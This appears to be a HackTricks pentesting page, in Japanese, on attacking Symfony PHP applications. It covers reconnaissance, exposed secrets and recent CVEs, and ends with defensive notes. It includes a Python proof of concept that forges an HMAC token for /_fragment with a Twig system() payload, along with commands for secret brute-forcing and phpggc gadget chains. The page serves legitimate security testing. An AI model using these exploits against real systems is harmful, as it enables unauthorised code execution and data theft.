# Symfony {{#include ../../banners/hacktricks-training.md}} Symfonyは最も広く使用されているPHPフレームワークの1つで、企業、eコマース、CMSターゲット(Drupal、Shopware、Ibexa、OroCRM … すべてSymfonyコンポーネントを埋め込んでいます)の評価に定期的に登場します。このページでは、Symfonyアプリケーションを発見した際にチェックリストに加えるべき攻撃的なヒント、一般的な誤設定、最近の脆弱性をまとめています。 > 歴史的な注記:エコシステムの大部分は依然として**5.4 LTS**ブランチ(EOL **2025年11月**)を実行しています。多くの2023-2025年のセキュリティアドバイザリはパッチリリースでのみ修正されているため、正確なマイナーバージョンを常に確認してください(例:5.4.46 → 5.4.50)。 --- ## Recon & Enumeration ### Finger-printing * HTTPレスポンスヘッダー:`X-Powered-By: Symfony`、`X-Debug-Token`、`X-Debug-Token-Link`または`sf_redirect`、`sf_session`、`MOCKSESSID`で始まるクッキー。 * ソースコードの漏洩(`composer.json`、`composer.lock`、`/vendor/…`)はしばしば正確なバージョンを明らかにします: ```bash curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version' ``` * Symfonyにのみ存在する公開ルート: * `/_profiler` (Symfony **Profiler** & デバッグツールバー) * `/_wdt/`(“Web Debug Toolbar”) * `/_error/{code}.{_format}`(美しいエラーページ) * `/app_dev.php`、`/config.php`、`/config_dev.php`(4.0以前の開発フロントコントローラー) * Wappalyzer、BuiltWithまたはffuf/feroxbusterのワードリスト:`symfony.txt` → `/_fragment`、`/_profiler`、`.env`、`.htaccess`を探します。 ### 興味深いファイルとエンドポイント | パス | 重要性 | |------|----------------| | `/.env`、`/.env.local`、`/.env.prod` | 頻繁に誤ってデプロイされる → `APP_SECRET`、DBクレデンシャル、SMTP、AWSキーが漏洩 | | `/.git`、`.svn`、`.hg` | ソース開示 → 認証情報 + ビジネスロジック | | `/var/log/*.log`、`/log/dev.log` | Webルートの誤設定がスタックトレースを露出 | | `/_profiler` | 完全なリクエスト履歴、設定、サービスコンテナ、**APP_SECRET**(≤ 3.4) | | `/_fragment` | ESI/HIncludeによって使用されるエントリポイント。`APP_SECRET`を知っていると悪用可能 | | `/vendor/phpunit/phpunit/phpunit` | アクセス可能な場合、PHPUnit RCE(CVE-2017-9841) | | `/index.php/_error/{code}` | フィンガープリンティング & 時々例外トレースを漏洩 | --- ## 高影響脆弱性 (2023-2025) ### 1. APP_SECRET漏洩 ➜ `/_fragment`経由のRCE(別名“secret-fragment”) * **CVE-2019-18889**が元々ですが、デバッグが有効のままにされているか、`.env`が露出している場合、現代のターゲットでも*まだ*見られます。 * 32文字の`APP_SECRET`を知ると、HMACトークンを作成し、内部の`render()`コントローラーを悪用して任意のTwigを実行します: ```python # PoC – 秘密が必要 import hmac, hashlib, requests, urllib.parse as u secret = bytes.fromhex('deadbeef…') payload = "{{['id']|filter('system')}}" # TwigでのRCE query = { 'template': '@app/404.html.twig', 'filter': 'raw', '_format': 'html', '_locale': 'en', 'globals[cmd]': 'id' } qs = u.urlencode(query, doseq=True) token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest() r = requests.get(f"https://target/_fragment?{qs}&_token={token}") print(r.text) ``` * 優れた解説と悪用スクリプト:Ambionicsブログ(参考文献にリンク)。 ### 2. Windowsプロセスハイジャック – CVE-2024-51736 * `Process`コンポーネントはWindowsで`PATH`の前に現在の作業ディレクトリを検索しました。攻撃者が書き込み可能なWebルートに`tar.exe`、`cmd.exe`などをアップロードし、`Process`をトリガーできると(例:ファイル抽出、PDF生成)、コマンド実行が可能になります。 * 5.4.50、6.4.14、7.1.7でパッチ適用済み。 ### 3. セッション固定 – CVE-2023-46733 * 認証ガードがログイン後に既存のセッションIDを再利用しました。攻撃者が被害者が認証する**前に**クッキーを設定すると、ログイン後にアカウントをハイジャックします。 ### 4. TwigサンドボックスXSS – CVE-2023-46734 * ユーザー制御のテンプレート(管理CMS、メールビルダー)を公開するアプリケーションでは、`nl2br`フィルターがサンドボックスをバイパスし、JSを注入するために悪用される可能性があります。 ### 5. Symfony 1ガジェットチェーン(レガシーアプリでまだ見つかる) * `phpggc symfony/1 system id`は、`sfNamespacedParameterHolder`などのクラスでunserialize()が発生したときにRCEを引き起こすPharペイロードを生成します。ファイルアップロードエンドポイントと`phar://`ラッパーを確認してください。 {{#ref}} ../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md {{#endref}} --- ## 悪用チートシート ### `/_fragment`のHMACトークンを計算する ```bash python - <<'PY' import sys, hmac, hashlib, urllib.parse as u secret = bytes.fromhex(sys.argv[1]) qs = u.quote_plus(sys.argv[2], safe='=&') print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()) PY deadbeef… "template=@App/evil&filter=raw&_format=html" ``` ### 弱い `APP_SECRET` のブルートフォース ```bash cewl -d3 https://target -w words.txt symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target ``` ### RCE via exposed Symfony Console `bin/console`が`php-fpm`または直接CLIアップロードを通じてアクセス可能な場合: ```bash php bin/console about # confirm it works php bin/console cache:clear --no-warmup ``` デシリアライズガジェットをキャッシュディレクトリ内で使用するか、次のリクエストで実行される悪意のあるTwigテンプレートを書きます。 --- ## 防御的な注意事項 1. **デバッグを決してデプロイしない** (`APP_ENV=dev`, `APP_DEBUG=1`); ウェブサーバーの設定で`/app_dev.php`、`/_profiler`、`/_wdt`をブロックします。 2. 秘密情報はenv変数または`vault/secrets.local.php`に保存し、*決して*ドキュメントルートを通じてアクセス可能なファイルに保存しないでください。 3. パッチ管理を強制する – Symfonyのセキュリティアドバイザリーに登録し、少なくともLTSパッチレベルを維持します。 4. Windowsで実行している場合は、CVE-2024-51736を軽減するために直ちにアップグレードするか、`open_basedir`/`disable_functions`の防御層を追加します。 --- ### 有用な攻撃ツール * **ambionics/symfony-exploits** – secret-fragment RCE、デバッガールートの発見。 * **phpggc** – Symfony 1 & 2用の既製のガジェットチェーン。 * **sf-encoder** – `_fragment` HMACを計算するための小さなヘルパー(Go実装)。 ## 参考文献 * [Ambionics – Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment) * [Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class) {{#include ../../banners/hacktricks-training.md}}